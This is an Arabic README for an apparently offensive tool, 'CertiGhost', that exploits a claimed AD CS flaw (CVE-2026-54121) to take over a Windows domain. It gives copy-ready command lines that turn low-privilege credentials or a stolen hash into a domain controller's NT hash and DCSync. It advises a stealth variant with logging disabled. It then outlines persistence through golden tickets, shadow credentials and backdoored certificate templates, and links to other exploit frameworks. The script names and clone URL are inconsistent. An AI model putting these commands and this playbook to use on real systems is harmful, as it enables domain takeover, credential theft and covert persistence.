CVE-2026-54121 - AD CS "Certighost" إطار عمل وأداة رفع الامتيازات

خدمات الشهادات في Active Directory — Certighost → الاستيلاء على المجال

إطار عمل الاستغلال وأداة التدقيق
للاستخدام في الاختبارات الأمنية المصرح بها فقط.

تحذير! 🌬️

تمت كتابة هذا الكود بمنهجية سهلة الاستخدام وهو يعمل بكامل وظائفه، مع إعطاء الأولوية للأمان والخصوصية وتقليل التسجيل. يُنصح بإزالة تكامل Shodan ومكتبتها تمامًا، واستخدام خيط واحد بدلاً من مجموعة خيوط، وإزالة فحص المنافذ وdetect_ip، وتعطيل التسجيل والمخرجات. استخدم "stealthcert.py" لهذا الإصدار.

CVE-2026-54121 CertiGhost - مرجع المعاملات

📋 قائمة المعاملات الكاملة

معاملات استغلال Python

stealthcare.py (استغلال آمن)

معاملات الغلاف PowerShell

🚀 أمثلة الاستخدام

git clone https://tc4dy/CVE-2026-54121-PoC-Exploit
#install requirements

أمثلة ❄️

# Auto-discovers CA via LDAP, creates temp computer, spawns rogue servers, requests certificate with cdc redirect, extracts DC's NT hash via PKINIT, enables DCSync for domain takeover
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10

# Impersonates a specific Domain Controller (DC01$). Useful when you know exactly which DC to target. Bypasses auto-discovery
python3 certighost.py -d corp.local -u user -p Passw0rd --dc-ip 10.0.0.1 --target-san DC01$

# Uses NTLM hash instead of password. Works when password is unknown but hash is obtained. ':' before hash = empty LM hash
python3 certighost.py -d domain.local -u admin --hashes :8846f7eaee8fb117ad06bdd830b7586c --dc-ip 192.168.1.10

# Bypasses LDAP CA discovery. Uses explicitly provided CA IP and name. Useful when LDAP is restricted or CA is on different subnet
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10 --ca-ip 192.168.1.20 --ca "PLAYGROUND-CA"

Powershell (الاكتشاف)

# Native LDAP query to check if AD CS is present. Returns CA name and DNS. Read-only, safe for production. No exploitation performed
.\CertiGhost.ps1 -d playground.local --dc-ip 192.168.1.10 --username lowpriv -p Password123 --detect

استغلال الواجهة الخلفية Python

# Runs native AD CS detection then calls Python certighost.py with all parameters. Requires certighost.py in same directory. Prints NT hash and ccache file
.\CertiGhost.ps1 -d corp.local --dc-ip 10.0.0.1 --username attacker -p P@ssw0rd --exploit --target-account DC01$

حفظ JSON، وضع الاكتشاف

#Detection only mode. Saves results in JSON format. Useful for automation, reporting, and integration with other security tools
.\CertiGhost.ps1 -d domain.local --dc-ip 192.168.1.10 --username user -p pass --detect -o results.json

🧠 الغوص التقني العميق

1. تجاوز التحقق من الهدف في AD CS (Certighost)

تنبع الثغرة من فحوصات تفويض وتحقق غير سليمة (CWE-285) داخل خدمات الشهادات في Active Directory (AD CS) أثناء عمليات تسجيل الشهادات. يمكن للمهاجم الذي يمتلك بيانات اعتماد مجال منخفضة الامتياز التلاعب بمعاملات إعادة توجيه الهدف لخداع المرجعية المصدقة (CA) للتحقق من تأكيدات الهوية ضد نقطة نهاية مارقة.

نقطة النهاية المعرضة / سياق الطلب:

POST /certsrv/mscep/mscep.dll HTTP/1.1
Host: ca-server.domain.local
Content-Type: application/x-www-form-urlencoded

... (Certificate Request payload with manipulated target/cdc parameters)

2. نواقل الهجوم

• التلاعب بهدف المطاردة: يعدّل المهاجم معاملات إعادة توجيه الهدف (مثل cdc / هدف المطاردة) داخل طلب الشهادة، مما يجبر المرجعية المصدقة (CA) على توجيه حركة التحقق إلى نقطة نهاية محددة.

• إعادة توجيه خادم مارق: تبدأ المرجعية المصدقة (CA) اتصالات LDAP أو SMB بالوجهة المقدمة من العميل دون التحقق مما إذا كان الهدف وحدة تحكم مجال شرعية ومصرحًا بها.

• تزوير هوية وحدة التحكم بالمجال وإصدار الشهادة: يستجيب الخادم المارق الذي يسيطر عليه المهاجم لاستعلامات التحقق التي تصدرها CA نيابة عن حساب وحدة تحكم المجال المستهدف. وبناءً على هذا الاستجابة، تصدر CA شهادة موقعة صالحة تحمل هوية وحدة تحكم المجال.

3. مرحلة ما بعد الاستغلال

استرجاع تذكرة منح التذاكر (TGT)

باستخدام شهادة وحدة تحكم المجال التي تم الحصول عليها، يتم إجراء مصادقة Kerberos عبر PKINIT (تشفير المفتاح العام للمصادقة الأولية) لاسترجاع تذكرة TGT عالية الامتياز.

هجوم DCSync

مع تذكرة Kerberos التي تمتلك صلاحيات وحدة تحكم المجال، يتم استخراج تجزئات كلمات المرور لجميع الحسابات في قاعدة بيانات Active Directory (مثل krbtgt، Administrator) باستخدام تقنية DCSync.

الثبات

• إنشاء التذكرة الذهبية: يتم تزوير تذاكر TGT عند الطلب باستخدام تجزئة كلمة مرور حساب krbtgt المستخرج.
• بيانات الاعتماد الظلية: تتم إضافة مفاتيح شهادات غير مصرح بها إلى سمة msDS-KeyCredentialLink للحسابات المستهدفة لتأمين وصول مستمر.
• التلاعب بقالب الشهادة: يتم تعديل صلاحيات قوالب AD CS للحفاظ على تكوينات باب خلفي تسمح برفع الامتيازات في المستقبل.

الحركة الجانبية

• الهيمنة على المجال: يتم إنشاء جلسات بصلاحيات كاملة (SYSTEM / مسؤول المجال) عبر جميع الخوادم ومحطات العمل داخل المجال.
• التنقل عبر الغابات: يتم الانتقال إلى المجالات الموثوقة (Forest Trust) باستخدام تقنيات سجل SID أو تفويض TGT.

📚 المراجع

• NVD - CVE-2026-54121
• Microsoft Security Update Guide - CVE-2026-54121
• CERT/CC نشرة الثغرات
• MITRE ATT&CK - T1649: سرقة أو تزوير شهادات المصادقة

🔗 استغلالات أخرى

• CVE-2026-15409/15410 - إطار عمل الاستغلال المتعدد لـ SonicWall SMA1000
• CVE-2026-6875 - إطار عمل استغلال RCE قبل المصادقة في ServiceNow
• CVE-2026-41091 - SolarFlare (RedSun) رفع امتيازات محلي في Microsoft Defender
• CVE-2026-57821 - مجموعة أدوات حقن SQL في Apache Fineract
• CVE-2026-41940 - تجاوز المصادقة في cPanel/WHM